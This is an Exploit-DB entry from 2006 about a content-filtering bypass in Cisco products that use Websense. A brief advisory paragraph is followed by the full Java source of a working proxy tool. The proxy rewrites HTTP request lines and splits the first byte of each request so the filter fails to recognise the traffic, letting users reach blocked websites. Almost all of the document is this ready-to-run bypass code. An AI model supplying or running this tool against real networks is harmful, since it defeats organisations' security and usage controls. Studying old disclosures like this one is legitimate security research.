Cisco - WebSense Content Filtering Bypass

EDB-ID:

27830




Platform:

Hardware

Date:

2006-05-08


source: https://www.securityfocus.com/bid/17883/info

Multiple Cisco products are susceptible to a content-filtering bypass vulnerability. This issue is due to a failure of the software to properly recognize HTTP request traffic.

This issue allows users to bypass content-filtering and access forbidden websites.

Cisco is tracking this issue as Bug IDs CSCsc67612, CSCsc68472, and CSCsd81734.http://www.cisco.com/pcgi-bin/Support/Bugtool/onebug.pl?bugid=CSCsd81734

// Copyright (C) 2005-2006 Virtual Security Research, LLC. - All rights reserved

// Disclaimer: Use this tool at your own risk. The author of this utility 
// nor Virtual Security Research, LLC. will assume any liability for damage 
// caused by running this code. This utility is provided for educational 
// purposes only.

import java.lang.*;
import java.net.*;
import java.io.*;
import java.util.*;
import javax.swing.JFrame;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.SwingUtilities;
import java.awt.BorderLayout;

class WebsenseBypassProxyConnection implements Runnable {
    Socket csock;
    Socket ssock;
    static int count = 0;
    WebsenseBypassProxy wbp;
    public WebsenseBypassProxyConnection(Socket csock, WebsenseBypassProxy parent) {
	this.csock = csock;
	this.wbp = parent;
    }
    private StringBuffer GetHeader(InputStream istream) throws IOException {
	ByteArrayOutputStream out = new ByteArrayOutputStream();
	int i;
	do {
	    i = istream.read();
	    if (i == -1) {
		if(out.size() > 0) {
		    String s = out.toString();
		    if(s.endsWith("\r\n"))
			return (new StringBuffer(out.toString() + "\r\n"));
		    else if (s.endsWith("\n"))
			return (new StringBuffer(out.toString() + "\n"));
		}
		throw (new IOException());
	    }
	    out.write((byte) i);
	} while ((!out.toString().endsWith("\r\n\r\n")) &&
		 (!out.toString().endsWith("\n\n")));
	return (new StringBuffer(out.toString()));
    }
    private HashMap GetHeaderParam(StringBuffer header) {
	HashMap h = new HashMap();
	int i=0;
	try {
	    if ((i=header.toString().indexOf("\n")) > 0) {
		StringTokenizer stok =
		    new StringTokenizer(header.toString().substring(i),
					":\r\n", true);
		try {
		    while(stok.hasMoreTokens()) {
			// Get name value pair
			String tok = stok.nextToken(":").trim().toLowerCase();
			stok.nextToken();
			String tokval = stok.nextToken("\r\n").trim();
			h.put(tok, tokval);
			//System.out.println("n, v: "+tok +", "+tokval);
		    }
		} catch(NoSuchElementException e) {
		}
	    }
	} catch (Exception e) {
	}
	return(h);
    }
    private StringBuffer GetReqBody(InputStream istream) throws IOException {
	ByteArrayOutputStream out = new ByteArrayOutputStream();
	int i;
	while (!(out.toString().endsWith("\r\n\r\n") ||
		 out.toString().endsWith("\n\n"))) {
	    
	    i = istream.read();
	    if (i== -1) {
		if(out.size() > 0) {
		    String s = out.toString();
		    if(s.endsWith("\r\n"))
			return (new StringBuffer(out.toString() + "\r\n"));
		    else if (s.endsWith("\n"))
			return (new StringBuffer(out.toString() + "\n"));
		}
		throw (new IOException());
	    }
	    out.write((byte) i);
	}
	return (new StringBuffer(out.toString()));
    }
    public void run() {
	Socket ssock = null;
	InputStream clientIn = null;
	BufferedOutputStream clientOut = null;
	InputStream serverIn = null;
	BufferedOutputStream serverOut = null;
	int i=0;
	int ch=-1,r0=-1,r1=-1;
	try {
	    clientIn = csock.getInputStream();
	    clientOut = new BufferedOutputStream(csock.getOutputStream());
	    StringBuffer buf = GetHeader(clientIn);
	    int idx = buf.indexOf("Proxy-Connection:");
	    int eol = buf.indexOf("\r\n", idx+18);
	    //System.out.println("Idx: "+idx+" ,eol: "+eol);
	    if ((idx > 0) && (eol > 0)) {
		buf = buf.replace(idx, eol, "Connection: close");
	    }
	    // And we should just make our lives easy and change keep-alives
	    // to close.
	    idx = -1;
	    eol = -1;
	    
	    idx = buf.indexOf("Keep-Alive:");
	    eol = buf.indexOf("\r\n",idx+11);
	    
	    //System.out.println("Idx: "+idx+" ,eol: "+eol);
	    if ((idx > 0) && (eol > 0)) {
		buf = buf.replace(idx, eol, "Keep-Alive: close");
	    }

	    HashMap h = GetHeaderParam(buf);
	    StringTokenizer st = new StringTokenizer(buf.toString());
	    String reqtype = st.nextToken().toUpperCase();
	    URL req = new URL(st.nextToken());
	    String remotehost = req.getHost();
	    int remoteport = req.getPort();
	    if (remoteport == -1) {
		remoteport = 80;
	    }
	    
	    // change the target to remove the host and protocol
	    idx = -1;
	    int end = -1;
	
	    idx = buf.indexOf(reqtype + " "+ req.toString());
	    end = idx + (reqtype+" "+req.toString()).length();
	
	    //System.out.println("Request and URL Idx: "+idx+" , end: "+end);
	    if ((idx >= 0) && (end > 0)) {
		buf = buf.replace(idx, end, reqtype+" "+
				  req.getPath().toString());
	    }
	    wbp.displayMessage(">> "+reqtype+" "+req.getPath().toString()+"\n");
	    //System.out.println(">> "+reqtype+" "+req.getPath().toString());
	    ssock = new Socket(remotehost,remoteport);
	    //StringBuffer buf2 = GetReqBody(clientIn);
	
	    StringReader sr = new StringReader(buf.toString());

	    serverIn = ssock.getInputStream();
	    serverOut = new BufferedOutputStream(ssock.getOutputStream());
	    while ((ch = sr.read()) != -1) {
		serverOut.write(ch);
		if (i == 0) {
		    // Flush out the first byte
		    serverOut.flush();
		}
		i++;
	    }
	    serverOut.flush();
	    while ((ch = serverIn.read()) != -1) {
		clientOut.write(ch);
	    }
	    wbp.displayMessage(">>XX>> Server stream closed\n");
	    //System.out.println(">>XX>> Server stream closed");
	    clientOut.flush();
	    // just added
	    csock.shutdownOutput();
	    ssock.close();
	    csock.close();
	    ssock.close();
	    csock.close();
	} catch (Exception e) {
	    e.printStackTrace(System.err);
	}
    }
}

public class WebsenseBypassProxy extends JFrame {
    private Object lock = new Object();
    private JTextArea displayArea;

    public WebsenseBypassProxy() {
	super("Websense Filter Bypass Proxy 1.0");
	displayArea = new JTextArea();
	add(new JScrollPane(displayArea), BorderLayout.CENTER);
	setSize(400, 250);
	setVisible(true);
	displayArea.setEditable(false);
    }

    void start (int lport) {
	WebsenseBypassProxyListener wbp=new WebsenseBypassProxyListener(this);
	wbp.lport = lport;
	Thread listener = new Thread(wbp);
	listener.start();
	displayMessage("Starting proxy listener on port: "+lport+"\n");
	//System.out.println("Starting proxy listener on port: "+lport);
    }
    void shutdown() {
    	synchronized(lock) {
	}
    }
    public void displayMessage( final String messageToDisplay ) {
      SwingUtilities.invokeLater(
         new Runnable() {
            public void run()  {
               displayArea.append( messageToDisplay );
            } 
         }  
      ); 
    }
    public void run(int lport) {
	ServerSocket lsock;
	try {
	    lsock = new ServerSocket(lport);
	    for (;;) {
		try {
		    Socket s;
		    s = lsock.accept();
		    WebsenseBypassProxyConnection wbpc =
			new WebsenseBypassProxyConnection(s, this);
		    Thread t = new Thread(wbpc);
		    t.start();
		} catch (IOException e) {
		    System.out.print(e.toString());
		    return;
		}
	    }
	} catch (Exception e) {
	    System.out.print(e.toString());
	}
	
    }
    public static void main(String[] argv) {
	if (argv.length != 1) {
	    System.err.println(
			   "Usage:\n\t java WebsenseBypassProxy <portnum>\n");
	} else {
	    try {
		int localport = Integer.parseInt(argv[0]);
		WebsenseBypassProxy wbp = new WebsenseBypassProxy();
		wbp.start(localport);
	    } catch (Exception e) {
		e.printStackTrace(System.err);
	    }
	}
    }
}

class WebsenseBypassProxyListener implements Runnable {
    WebsenseBypassProxy p;
    public int lport;
    public WebsenseBypassProxyListener(WebsenseBypassProxy p) {
	this.p = p;
    }
    public void run() {
	p.run(lport);
    }
}